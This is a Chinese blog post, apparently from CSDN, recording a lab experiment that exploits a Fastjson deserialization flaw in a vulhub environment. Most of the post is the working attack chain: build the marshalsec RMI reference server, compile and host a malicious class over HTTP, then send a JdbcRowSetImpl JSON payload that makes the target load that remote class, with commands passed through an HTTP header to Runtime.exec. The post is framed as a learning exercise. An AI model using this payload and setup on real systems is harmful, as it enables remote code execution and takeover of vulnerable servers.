java 反显_java反序列化的恶意类回显实验

本文档详述了一次使用Fastjson漏洞进行RMI(远程方法调用)攻击的实验过程。实验者通过搭建漏洞环境,利用marshalsec工具下载、编译并运行特定Java类,创建了一个RMI服务器。随后,构造了带有恶意payload的Java对象,通过设置`dataSourceName`为RMI地址来触发远程代码执行。攻击者可以将待执行命令藏于HTTP头中,以此达到远程控制目标系统的目地。
摘要由CSDN通过智能技术生成

//希望自己能持续的坚持学java

因为看书学java有点枯燥,虽然我没搞清楚状况,但是还是希望做个实验。以下是实验记录。

前提条件

准备一个 漏洞环境,比如vulhub里的fastjson

开始实验

vulhub 里的readme里的payload类似以下

{

"a":{

"@type":"java.lang.Class",

"val":"com.sun.rowset.JdbcRowSetImpl"

},

"b":{

"@type":"com.sun.rowset.JdbcRowSetImpl",

"dataSourceName":"rmi://...",

"autoCommit":true

}

}

你需要做的是,

下载编译运行一个marshalsecgit clone .... && mvn clean package -DskipTests

下载编译准备好fnmds 大佬在博文中提到的写的这个类 wget ...DFS.java && javac -encoding UTF-8 DFS.java

玩!

你需要做的仅仅是一个web服务保证目标机器能访问到你的class文件

python -m http.server 80

这样你就有了一个类似 http://nogy.cc/DFS.class

然后根据这个地址启动一个rmi

java -cp marshalsec.jar marshalsec.jndi.RMIRefServer "http://nogy.cc/#DFS" 9999

这样你就得到了一个 rmi://nogy.cc:9999/DFS

所以选择了JdbcRowSetImpl + rmi 的你的payload就是

{

"a":{

"@type":"java.lang.Class",

"val":"com.sun.rowset.JdbcRowSetImpl"

},

"b":{

"@type":"com.sun.rowset.JdbcRowSetImpl",

"dataSourceName":"rmi://nogy.cc:9999/DFS",

"autoCommit":true

}

}

? 你想执行的命令在header里,所以记得加上

Runtime.getRuntime().exec(r.getHeader("cmd")

20200710133853747885.png

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值